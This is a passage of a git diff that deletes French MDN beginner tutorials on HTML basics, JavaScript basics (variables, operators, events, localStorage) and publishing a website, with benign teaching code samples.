- -

Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect :

- -
<p>Mon chat est <strong>très grincheux.</p></strong>
- -

Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas !

- -

Les éléments vides

- -

Certains éléments n'ont pas de contenu. Ces éléments sont appelés éléments vides. Prenons l'élément {{htmlelement("img")}} présent dans notre fichier HTML :

- -
<img src="images/firefox-icon.png" alt="Mon image test" />
- -

Cet élément contient deux attributs mais les balises ouvrante <img> et fermante </img> sont remplacées par une balise auto-fermante <img /> et il n'y a aucun contenu interne. En effet, l'élément image n'embarque pas de contenu, son but est d'intégrer une image dans la page HTML, à l'endroit où l'élément est placé.

- -

Anatomie d'un document HTML

- -

Pour l'instant, nous avons vu quelques éléments HTML de base. Pris séparément, ils ne sont pas très utiles. Regardons comment les combiner pour créer une page HTML complète. Nous allons repartir de l'exemple contenu dans le fichier index.html (qu'on a créé dans l'article Gérer les fichiers) :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>Ma page de test</title>
-  </head>
-  <body>
-    <img src="images/firefox-icon.png" alt="Mon image de test">
-  </body>
-</html>
- -

Cet exemple contient :

- - - -

Images

- -

Regardons à nouveau l'élément image :

- -
<img src="images/firefox-icon.png" alt="Mon image de test">
- -

Comme on l'a vu auparavant, cet élément permet d'intégrer une image dans la page, à l'endroit où l'élément apparaît. L'image utilisée est définie via l'attribut src (pour source) qui contient le chemin vers le fichier de l'image.

- -

Nous avons aussi utilisé l'attribut alt (pour alternatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car :

- -
    -
  1. ils sont mal-voyants. Les utilisateurs handicapés visuellement utilisent souvent des outils nommés lecteurs d'écrans pour lire le texte de cet attribut ;
    2. -
  2. quelque chose s'est mal passé et l'image n'a pas pu être affichée. Par exemple, modifiez volontairement le chemin dans votre attribut src et faites qu'il soit incorrect. Si vous enregistrez et rechargez la page, vous verrez quelque chose comme ceci à la place de l'image :
    3. -
- -

Mon image de test

- -

Le point important qu'il faut retenir est que l'attribut est utilisé pour décrire l'image. Le texte contenu dans cet attribut doit fournir suffisamment d'informations pour que le lecteur puisse savoir ce que l'image représente. Par exemple, le texte que j'utilise « Mon image de test » n'est pas bon du tout. Une meilleure solution serait de mettre « Le logo Firefox, qui représente un renard de feu entourant la Terre ».

- -

Essayez d'améliorer le texte alternatif pour l'image maintenant.

- -
-

Note : Pour plus d'informations sur l'accessibilité, vous trouverez la section Accessibilité de MDN.

-
- -

Baliser le texte

- -

Dans cette section, nous verrons quelques-uns des éléments HTML de base pour baliser le texte.

- -

Les titres

- -

Les éléments de titre permettent de définir certains textes comme des titres ou sous-titres pour le contenu. D'une certaine façon, ceux-ci fonctionnent comme pour un livre : on a le titre du livre (le plus important) puis les titres des différents chapitres et parfois des sous-titres au sein de ces chapitres. HTML contient des éléments pour 6 niveaux de titres : {{htmlelement("h1")}}–{{htmlelement("h6")}}. La plupart du temps, 3-4 niveaux suffisent amplement :

- -
<h1>Mon titre principal</h1>
-<h2>Mon titre de section</h2>
-<h3>Mon sous-titre</h3>
-<h4>Mon sous-sous-titre</h4>
- -

Vous pouvez ajouter un titre adapté à votre page avec un de ces éléments. Vous pouvez le placer au-dessus de l'élément {{htmlelement("img")}} dans votre document HTML.

- -

Les paragraphes

- -

Comme expliqué auparavant, les éléments {{htmlelement("p")}} sont utilisés pour contenir des paragraphes de texte. Vous les utiliserez fréquemment pour placer du texte sur une page :

- -
<p>Voici un paragraphe</p>
- -

Ici, vous pouvez ajouter le texte que vous avez choisi lorsque vous avez décidé à quoi ressemblera votre site web. Vous pouvez placer votre texte dans un ou plusieurs paragraphes, directement sous l'élément <img>.

- -

Les listes

- -

Une grande partie du contenu sur le Web est présente sous forme de listes. HTML a donc des éléments utilisés pour représenter ces listes. Le balisage des listes contient toujours au moins deux éléments. Les types de listes utilisés fréquemment sont les listes ordonnées et les listes non-ordonnées :

- -
    -
  1. Les listes non-ordonnées sont des listes pour lesquelles l'ordre des éléments n'a pas d'importance (par exemple une liste d'emplettes). La balise utilisée pour ces listes est l'élément {{htmlelement("ul")}} (ul signifie unordered list liste non-ordonnée en anglais)
    2. -
  2. Les listes ordonnées sont des listes pour lesquelles l'ordre des éléments est important (par exemple une recette). La balise utilisée pour ces listes est l'élément {{htmlelement("ol")}} (ol signifie ordered list liste ordonnée en anglais)
    3. -
- -

Chaque élément d'une liste est balisé avec un élément {{htmlelement("li")}} (list item).

- -

Par exemple, si on souhaite modifier un paragraphe en une liste :

- -
<p>Mozilla est une communauté mondiale composée de technologues, chercheurs, bâtisseurs travaillant ensemble... </p>
- -

On pourrait faire :

- -
<p>Mozilla est une communauté mondiale composée de </p>
-
-<ul>
-  <li>technologues</li>
-  <li>chercheurs</li>
-  <li>bâtisseurs</li>
-</ul>
-
-<p>travaillant ensemble...</p>
- -

Essayez d'ajouter une liste ordonnée ou non-ordonnée sur votre page. Vous pouvez l'ajouter après l'image.

- -

Les liens

- -

Les liens sont très importants, ce sont eux qui font que le web est une toile sur laquelle on peut naviguer de page en page. Pour créer un lien, il suffit d'utiliser l'élément {{htmlelement("a")}} (le a est un raccourci pour « ancre »). Pour transformer du texte en un lien, suivez ces étapes :

- -
    -
  1. Choisissez un texte (ici, nous travaillerons avec le texte « Manifeste Mozilla ».
    2. -
  2. Encadrez le texte dans un élément <a> : - 
    <a>Manifeste Mozilla</a>
    -
    3. -
  3. Fournissez un attribut href pour l'élément <a>, de cette façon : - 
    <a href="">Manifeste Mozilla</a>
    -
    4. -
  4. Dans cet attribut, ajoutez le lien vers le site vers lequel vous voulez diriger les utilisateurs : - 
    <a href="https://www.mozilla.org/fr/about/manifesto/">Manifeste Mozilla</a>
    -
    5. -
- -

Attention à ne pas oublier la partie avec https:// ou http:// qui représente le protocole utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement.

- -
-

href peut sembler un peu étrange à première vue. Une explication sur l'origine du nom pourra vous aider à mieux vous en souvenir : href correspond à hypertext reference en anglais, ce qui signifie « référence hypertexte » en français.

-
- -

Si ce n'est pas déjà fait, vous pouvez ajouter un lien sur votre page grâce à ces informations.

- -

Conclusion

- -

Si vous avez suivi les différentes instructions de cette page, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez également la voir ici) :
-
- A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

- -

Si vous êtes bloqué, n'hésitez pas à comparer votre travail avec l'exemple fini disponible sur GitHub.

- -

Dans cet article, nous n'avons fait qu'effleurer la surface de HTML. Pour en apprendre plus sur HTML, vous pouvez vous rendre sur la page Apprendre HTML.

- -

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/les_bases_javascript/index.html b/files/fr/apprendre/commencer_avec_le_web/les_bases_javascript/index.html deleted file mode 100644 index 05d0540779..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/les_bases_javascript/index.html +++ /dev/null @@ -1,412 +0,0 @@ ---- -title: Les bases de JavaScript -slug: Apprendre/Commencer_avec_le_web/Les_bases_JavaScript -tags: - - Apprendre - - Code JavaScript - - Débutant - - JavaScript - - Web -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}
- -
-

JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités.

-
- -

Qu'est le JavaScript, réellement ?

- -

{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation.

- -

JavaScript est d'une incroyable flexibilité. Vous pouvez commencer petit, avec des carrousels, des galeries d'images, des variations de mises en page et des réponses aux clics de boutons. Avec plus d'expérience, vous serez en mesure de créer des jeux, des graphiques 2D et 3D animés, des applications complètes fondées sur des bases de données et bien plus encore !

- -

JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a :

- - - -

Comme cet article est une introduction simplifiée à JavaScript, nous n'allons pas compliquer les choses à ce stade en entrant dans les détails sur les différences entre le coeur du langage JavaScript et les différents outils cités plus haut. Vous pourrez entrer dans ces détails plus tard grâce à notre centre d'apprentissage JavaScript, et le reste du MDN.

- -

Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous !

- -

Un exemple « hello world »

- -

Le paragraphe précédent laisse entrevoir quelque chose de passionnant, et cela l'est vraiment — JavaScript est une technologie web parmi les plus dynamiques. Une fois que vous commencerez à être autonome en JavaScript, vous entrerez dans une nouvelle dimension de puissance et créativité.

- -

Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » (la norme en matière d'exemples de programmation de base).

- -
-

Important : Si vous rejoignez cette série d'articles en cours de route, téléchargez cet exemple de code et utilisez‑le comme point de départ.

-
- -
    -
  1. Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier scripts que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts.
    2. -
  2. Ensuite, dans votre fichier index.html, ajoutez l'élément suivant sur une nouvelle ligne avant la balise fermante </body> : - 
    <script src="scripts/main.js"></script>
    -
    3. -
  3. Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page).
    4. -
  4. Maintenant ajoutez le code suivant dans main.js : - 
    let myHeading = document.querySelector('h1');
-myHeading.textContent = 'Bonjour, monde !';
    -
    5. -
  5. Assurez-vous que les fichiers HTML et JavaScript soient enregistrés puis chargez index.html dans votre navigateur. Vous devriez obtenir quelque chose comme :
    6. -
- -
-

Note : La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie.

-
- -

Que s'est-il passé ?

- -

Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée myHeading. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner.

- -

Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable myHeading (elle représente le contenu du titre).

- -
-

Note : Les deux fonctions que vous avez utilisées ci-dessus font partie de l'API Document Object Model (DOM), qui vous permet de manipuler les documents.

-
- -

Les bases du JavaScript en accéléré

- -

Nous allons explorer les fonctionnalités de base de JavaScript pour que vous puissiez mieux comprendre comment il fonctionne. Ces fonctionnalités sont communes à la plupart des langages de programmation, si vous comprenez ces éléments en JavaScript, vous êtes en bonne voie de pouvoir programmer à peu près n'importe quoi !

- -
-

Important : Tout au long de cet article, vous pouvez saisir les lignes de code dans votre console JavaScript pour voir ce qui se passe. Pour plus de détails sur les consoles JavaScript, vous pouvez lire Découvrir les outils de développement présents dans le navigateur.

-
- -

Variables

- -

Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé let en le faisant suivre de son nom :

- -
let myVariable;
- -
-

Note : Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez Guide des points‑virgule en JavaScript pour plus de détails.

-
- -
-

Note : Vous pouvez utiliser (quasiment) n'importe quel nom pour nommer une variable, mais il y a quelques restrictions (voyez cet article sur les règles de nommage des variables). Si vous avez un doute, vous pouvez vérifier le nom de votre variable pour voir s'il est valide.

-
- -
-

Note : JavaScript est sensible à la casse — myVariable est une variable différente de myvariable. Si vous avez des problèmes dans votre code, vérifiez la casse  !

-
- -

Une fois une variable déclarée, vous pouvez lui donner une valeur :

- -
myVariable = 'Bob';
- -

Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez :

- -
let myVariable = 'Bob';
- -

Vous retrouvez la valeur en appelant simplement la variable par son nom :

- -
myVariable;
- -

Une fois qu'on a donné une valeur à une variable, on peut la changer plus loin :

- -
let myVariable = 'Bob';
-myVariable = 'Étienne';
- -

Notez que les variables peuvent contenir des types différents de données :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
VariableExplicationExemple
{{Glossary("String", "Chaîne de caractères")}}Une suite de caractères connue sous le nom de chaîne. Pour indiquer que la valeur est une chaîne, il faut la placer entre guillemets.let myVariable = 'Bob';
{{Glossary( "Number" ,"Nombre")}}Un nombre. Les nombres ne sont pas entre guillemets.let myVariable = 10;
{{Glossary( "Boolean" ,"Booléen")}}Une valeur qui signifie vrai ou faux. true/false sont des mots-clés spéciaux en JS, ils n'ont pas besoin de guillemets.let myVariable = true;
{{Glossary( "Array" ,"Tableau")}}Une structure qui permet de stocker plusieurs valeurs dans une seule variable. -

let myVariable = [1,'Bob','Étienne',10];
- Référez‑vous à chaque élément du tableau ainsi : myVariable[0], myVariable[1], etc.

-
{{Glossary( "Object" ,"Objet")}}À la base de toute chose. Tout est un objet en JavaScript et peut être stocké dans une variable. Gardez cela en mémoire tout au long de ce cours.let myVariable = document.querySelector('h1'); tous les exemples au dessus sont aussi des objets.
- -

Pourquoi a-t-on besoin de variables ? Et bien parce qu'elles sont essentielles à la programmation. Si les valeurs ne pouvaient pas changer, on ne pourrait rien faire de dynamique, comme personnaliser un message de bienvenue ou changer l'image affichée dans une galerie.

- -

Commentaires

- -

Il est possible d'intégrer des commentaires dans du code JavaScript, de la même manière que dans les CSS :

- -
/*
-Tout ce qui est écrit ici est entre commentaires.
-*/
- -

Si votre commentaire tient sur une ligne, vous pouvez utiliser deux barres obliques pour indiquer un commentaire :

- -
// Voici un commentaire
- -

Opérateurs

- -

Un {{Glossary("operator","opérateur")}} est un symbole mathématique qui produit un résultat en fonction de deux valeurs (ou variables). Le tableau suivant liste certains des opérateurs les plus simples ainsi que des exemples que vous pouvez tester dans votre console JavaScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OpérateurExplicationSymbole(s)Exemple
AdditionUtilisé pour ajouter deux nombres ou concaténer (accoler) deux chaînes.+6 + 9;
- "Bonjour " + "monde !";
Soustraction, multiplication, divisionLes opérations mathématiques de base.-, *, /9 - 3;
- 8 * 2; // pour multiplier, on utilise un astérisque
- 9 / 3;
AssignationOn a déjà vu cet opérateur : il affecte une valeur à une variable.=let myVariable = 'Bob';
ÉgalitéTeste si deux valeurs sont égales et renvoie un booléen true/false comme résultat.===let myVariable = 3;
- myVariable === 4;
Négation , N'égale pas -

Renvoie la valeur logique opposée à ce qu'il précède ; il change true en false, etc. Utilisé avec l'opérateur d'égalité, l'opérateur de négation teste que deux valeurs ne sont pas égales.

- 		!, !== -

L'expression de base est vraie, mais la comparaison renvoie false parce que nous la nions :

- -

let myVariable = 3;
- !(myVariable === 3);

- -

On teste ici que "myVariable n'est PAS égale à 3". Cela renvoie false, car elle est égale à 3.

- -

let myVariable = 3;
- myVariable !== 3;

-
- -

Il y a nombre d'autres opérateurs à explorer, mais nous nous en tiendrons à ceux-là pour le moment. Voir Expressions et opérateurs pour la liste complète.

- -
-

Note : Mélanger les types de données peut conduire à d'étranges résultats lors des opérations, donc prenez soin de vous référer correctement à vos variables et d'obtenir les résultats attendus. Par exemple, entrez "35" + "25" dans votre console. Pourquoi n'obtenez-vous pas le résultat attendu ? Parce que les guillemets ont transformé les nombres en chaînes, et donc vous avez concaténé deux chaînes au lieu d'additionner deux nombres. Si vous entrez 35 + 25, vous obtiendrez le bon résultat.

-
- -

Structures conditionnelles

- -

Les structures conditionnelles sont des éléments du code qui permettent de tester si une expression est vraie ou non et d'exécuter des instructions différentes selon le résultat. La structure conditionnelle utilisée la plus fréquemment est if ... else. Par exemple :

- -
let iceCream = 'chocolat';
-if (iceCream === 'chocolat') {
-  alert("J'adore la glace au chocolat !");
-} else {
-  alert("Ooooh, mais j'aurais préféré au chocolat.");
-}
- -

L'expression contenue dans if ( ... ) correspond au test — Ici, on utilise l'opérateur d'égalité (décrit plus haut) pour comparer la variable iceCream avec la chaîne de caractères chocolat pour voir si elles sont égales. Si cette comparaison renvoie true, le premier bloc de code sera exécuté. Sinon, le premier bloc est sauté et  c'est le code du second bloc, celui présent après  else, qui est exécuté.

- -

Fonctions

- -

Les {{Glossary("Fonction", "fonctions")}} sont un moyen de compacter des fonctionnalités en vue de leur réutilisation. Quand vous avez besoin de la procédure, vous pouvez appeler une fonction, par son nom, au lieu de ré‑écrire la totalité du code chaque fois. Nous avons déjà utilisé des fonctions plus haut, par exemple :

- -
    -
  1. - 
    let myVariable = document.querySelector('h1');
    -
    2. -
  2. - 
    alert('Bonjour !');
    -
    3. -
- -

Ces fonctions (querySelector et alert) sont disponibles dans le navigateur et vous pouvez les utiliser où bon vous semble.

- -

Si vous voyez quelque chose qui ressemble à un nom de variable et qui est suivi de parenthèses — () —, c'est probablement une fonction. Les fonctions prennent souvent des {{Glossary("Argument", "arguments")}} — bouts de données dont elles ont besoin pour faire leur travail. Ils sont placés entre parenthèses, séparés par des virgules s'il y en a plusieurs.

- -

Par exemple, la fonction alert() fait apparaître une fenêtre de pop-up dans la fenêtre du navigateur, mais vous devez donner une chaîne comme argument pour indiquer à la fonction ce que l'on souhaite écrire dans cette fenêtre.

- -

La bonne nouvelle est que vous pouvez définir vos propres fonctions — par exemple, vous pouvez écrire une fonction toute simple qui prend deux arguments et les multiplie :

- -
function multiply(num1,num2) {
-  let result = num1 * num2;
-  return result;
-}
- -

Vous pouvez déclarer cette fonction dans la console avant de l'utiliser plusieurs fois :

- -
multiply(4, 7);
-multiply(20, 20);
-multiply(0.5, 3);
- -
-

Note : L'instruction return indique au navigateur qu'il faut renvoyer la variable result en dehors de la fonction afin qu'elle puisse être réutilisée par ailleurs. Cette instruction est nécessaire car les variables définies à l'intérieur des fonctions sont uniquement disponibles à l'intérieur de ces fonctions. C'est ce qu'on appelle une {{Glossary("Portée", "portée")}} (pour en savoir plus, lisez cet article).

-
- -

Événements

- -

Pour qu'un site web soit vraiment interactif, vous aurez besoin d'événements. Les événements sont des structures de code qui « écoutent » ce qui se passe dans le navigateur et déclenchent du code en réponse. Le meilleur exemple est l'événement cliquer, déclenché par le navigateur quand vous cliquez sur quelque chose avec la souris. À titre de démonstration, saisissez ces quelques lignes dans la console, puis cliquez sur la page en cours :

- -
document.querySelector('html').addEventListener('click', function() {
-    alert('Aïe, arrêtez de cliquer !!');
-});
- -

Il existe plein de méthodes pour « attacher » un événement à un élément. Dans cet exemple, nous avons sélectionné l'élément HTML concerné et nous avons défini un gestionnaire onclick qui est une propriété qui est égale à une fonction anonyme (sans nom) qui contient le code à exécuter quand l'utilisateur clique.

- -

On pourra noter que :

- -
document.querySelector('html').addEventListener('click', function() {});
- -

est équivalent à :

- -
let myHTML = document.querySelector('html');
-myHTML.addEventListener('click', function() {});
- -

La première syntaxe est simplement plus courte.

- -

Booster notre site web

- -

Maintenant que nous avons vu quelques bases en JavaScript, nous allons ajouter quelques fonctionnalités intéressantes à notre site pour voir ce qu'il est possible de faire.

- -

Ajouter un changeur d'image

- -

Dans cette section, nous allons incorporer une autre image au site en utilisant quelques fonctionnalités de l'API DOM et un peu de JavaScript pour alterner entre les deux images lorsqu'on clique sur l'image affichée.

- -
    -
  1. Tout d'abord, trouvez une autre image à afficher sur le site. Assurez‑vous qu'elle soit de même taille que la première, ou le plus possible approchante.
    2. -
  2. Enregistrez cette image dans votre dossier images.
    3. -
  3. Renommez cette image « firefox2.png » (sans les guillemets).
    4. -
  4. Dans le fichier main.js, entrez ce code JavaScript (si votre code « Bonjour, monde » est toujours là, supprimez‑le) : - 
    let myImage = document.querySelector('img');
-
-myImage.addEventListener('click', function() {
-    let mySrc = myImage.getAttribute('src');
-    if (mySrc === 'images/firefox-icon.png') {
-      myImage.setAttribute('src', 'images/firefox2.png');
-    } else {
-      myImage.setAttribute('src', 'images/firefox-icon.png');
-    }
-});
    -
    5. -
  5. Sauvegardez tous les fichiers puis chargez index.html dans le navigateur. Maintenant, si vous cliquez sur l'image, elle doit changer pour l'autre !
    6. -
- -

Dans cet exemple, nous utilisons une référence vers l'élement {{htmlelement("img")}} grâce à la variable myImage. Ensuite, nous égalons la propriété du gestionnaire d'événement onclick de cette variable à une fonction sans nom (une fonction anonyme). Maintenant chaque fois que cet élément est cliqué :

- -
    -
  1. nous récupèrons la valeur de l'attribut src de l'image.
    2. -
  2. nous utilisons une structure conditionnelle pour voir si la valeur de src est égale au chemin de l'image originale : -
      -
    1. si c'est le cas, nous changeons la valeur de src et indiquons le chemin vers la seconde image, forçant le chargement de cette image dans l'élément {{htmlelement("img")}}.
      2. -
    2. si ce n'est pas le cas (ce qui signifie que l'image a déjà été changée), la valeur de src revient à sa valeur initiale.
      3. -
    -
    3. -
- -

Ajouter un message d'accueil personnalisé

- -

Continuons en ajoutant encore un peu de code pour changer le titre de la page afin d'inclure un message d'accueil personnalisé pour le visiteur du site. Ce message d'accueil sera conservé quand l'utilisateur quittera le site et s'il y revient — nous le sauvegarderons avec l'API Web Storage. Nous ajouterons également une option pour pouvoir changer l'utilisateur et le message d'accueil si besoin.

- -
    -
  1. Dans le fichier index.html, ajoutons la ligne suivante avant l'élément {{htmlelement("script")}} : - - 
    <button>Changer d'utilisateur</button>
    -
    2. -
  2. Dans le fichier main.js, ajoutons le code suivant à la fin du fichier. Cela fait référence au nouveau bouton ajouté et à l'élément de titre puis enregistrons ces références dans des variables : - 
    let myButton = document.querySelector('button');
-let myHeading = document.querySelector('h1');
    -
    3. -
  3. Ajoutons maintenant les fonctionnalités pour avoir ce message d'accueil personnalisé (cela ne servira pas immédiatement mais un peu plus tard) : - 
    function setUserName() {
-  let myName = prompt('Veuillez saisir votre nom.');
-  localStorage.setItem('nom', myName);
-  myHeading.textContent = 'Mozilla est cool, ' + myName;
-}
    - Cette fonction utilise la fonction prompt() qui affiche une boîte de dialogue, un peu comme alert() sauf qu'elle permet à l'utilisateur de saisir des données et de les enregistrer dans une variable quand l'utilisateur clique sur OK. Dans notre exemple, nous demandons à l'utilisateur de saisir son nom. Ensuite, nous appelons une API appelée localStorage. Cette API permet de stocker des données dans le navigateur pour pouvoir les réutiliser ultérieurement. Nous utilisons la fonction setItem() de cette API pour stocker la donnée qui nous intéresse dans un conteneur appelé 'nom'. La valeur stockée ici est la valeur de la variable myName qui contient le nom saisi par l'utilisateur. Enfin, on utilise la propriété textContent du titre pour lui affecter un nouveau contenu.
    4. -
  4. Ajoutons ensuite ce bloc if ... else. Ce code correspond à l'étape d'initialisation car il sera utilisé la première fois que la page est chargée par l'utilisateur : - 
    if (!localStorage.getItem('nom')) {
-  setUserName();
-} else {
-  let storedName = localStorage.getItem('nom');
-  myHeading.textContent = 'Mozilla est cool, ' + storedName;
-}
    - Ce bloc utilise l'opérateur de négation (NON logique, représenté avec le !) pour vérifier si le navigateur possède une donnée enregistrée appelée nom. Si non, la fonction setUserName() est appelée pour créer cette donnée. Si elle existe (ce qui correspond au cas où l'utilisateur est déjà venu sur la page), on la récupère avec la méthode getItem() et on définit le contenu de textContent pour le titre avec une chaîne suivie du nom de l'utilisateur, comme nous le faisons dans  setUserName().
    5. -
  5. Enfin, on associe le gestionnaire onclick au bouton. De cette façon, quand on clique sur le bouton, cela déclenchera l'exécution de la fonction setUserName(). Ce bouton permet à l'utilisateur de modifier la valeur s'il le souhaite: - 
    myButton.addEventListener('click', function() {
-  setUserName();
-});
-
    -
    6. -
- -

Récapitulons : la première fois que l'utilisateur viste le site, il sera invité à saisir un nom d'utilisateur. Ce nom sera utilisé pour afficher un message d'accueil personnalisé. Si l'utilisateur souhaite changer son nom, il peut cliquer sur le bouton. En supplément, le nom est enregistré pour plus tard grâce à l'API localStorage, cela permet à l'utilisateur de retrouver son nom, même s'il a fermé la page et/ou le navigateur et qu'il revient plus tard !

- -

Conclusion

- -

Si vous avez suivi les étapes détaillées sur cette page, vous devriez obtenir un résultat semblable à celui-ci (vous pouvez aussi voir la version que nous avons obtenue ici) :

- -

- -

Si vous êtes bloqué, n'hésitez pas à comparer votre travail et vos fichiers avec ceux disponibles sur GitHub qui correspondent à notre modèle finalisé.

- -

Au fur et à mesure de cet article, nous n'avons fait qu'effleurer la surface de JavaScript. Si vous avez envie d'en savoir plus sur JavaScript, vous pouvez utiliser notre Guide JavaScript.

- -

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/publier_votre_site_web/index.html b/files/fr/apprendre/commencer_avec_le_web/publier_votre_site_web/index.html deleted file mode 100644 index c4997f9cdf..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/publier_votre_site_web/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Publier votre site web -slug: Apprendre/Commencer_avec_le_web/Publier_votre_site_web -tags: - - Apprentissage - - Codage - - Débutant - - FTP - - GitHub - - Google App Engine - - Learn - - Web - - publier - - serveur web -translation_of: Learn/Getting_started_with_the_web/Publishing_your_website ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}
- -
-

Une fois que vous avez fini d'écrire le code et d'organiser les fichiers qui composent votre site, vous devez mettre le site en ligne, ainsi d'autres personnes pourront le trouver. Cet article décrit comment mettre votre extrait de code en ligne avec peu d'efforts.

-
- -

Quelles sont les options ?

- -

La publication d'un site web n'est pas une chose simple, essentiellement du fait qu'il y a multiples façons de le faire. Dans cet article, notre objectif n'est pas de documenter toutes les méthodes possibles. Nous discuterons plutôt des avantages et des inconvénients des trois principales stratégies du point de vue d'un débutant,  puis nous vous présenterons une méthode actuellement fonctionnelle.

- -

Trouver un hébergement et un nom de domaine

- -

Si vous voulez un contrôle total sur la publication de votre site web, alors vous aurez probablement besoin de dépenser de l'argent pour acheter :

- - - -

De nombreux sites professionnels sont mis en ligne de cette façon.

- -

En plus, vous aurez besoin d'un programme {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (voir Combien ça coûte : les logiciels pour plus de détails) pour faire un transfert réel des fichiers du site web sur le serveur. Les programmes FTP varient beaucoup, mais généralement, vous devrez vous connecter sur le serveur web en utilisant des identifiants fournis par votre société d'hébergement (par ex., nom d'utilisateur, mot de passe, nom d'hôte). Le logiciel utilisé pour FTP affiche alors vos fichiers locaux et les fichiers présents sur le serveur dans deux fenêtres, ainsi vous pouvez les transférer dans les deux sens :

- -

- -

Suggestions pour trouver hébergement et domaines

- - - -

Utiliser un outil en ligne comme GitHub ou Google App Engine

- -

Certains outils vous permettent de publier votre site web en ligne :

- - - -

À la différence de la plupart des hébergements, ces outils sont d'utilisation gratuite, mais vous n'avez accès qu'à un ensemble limité de fonctionnalités.

- -

Utiliser un EDI web tel que Thimble

- -

Il existe un certain nombre d'applications web qui émulent un environnement de développement de site web, vous permettant de saisir du HTML, des CSS et du JavaScript, puis d'afficher le résultat de ce code tel qu'il le serait sur un site web —  le tout dans un seul onglet de navigateur. De façon générale, ces outils sont très simples, très utiles pour apprendre, gratuits (pour les fonctionnalités de bases), et ils hébergent votre page finie à une adresse unique. Cependant, les fonctionnalités de base sont passablement limitées, et les applications ne fournissent habituellement pas d'espace d'hébergement pour des ressources (comme des images).

- -

Faites des essais avec certains de ces exemples et voyez lequel vous aimez le mieux :

- - - -

- -

Publier via GitHub

- -

Maintenant, nous allons vous montrer comment publier facilement votre site via les pages GitHub.

- -
    -
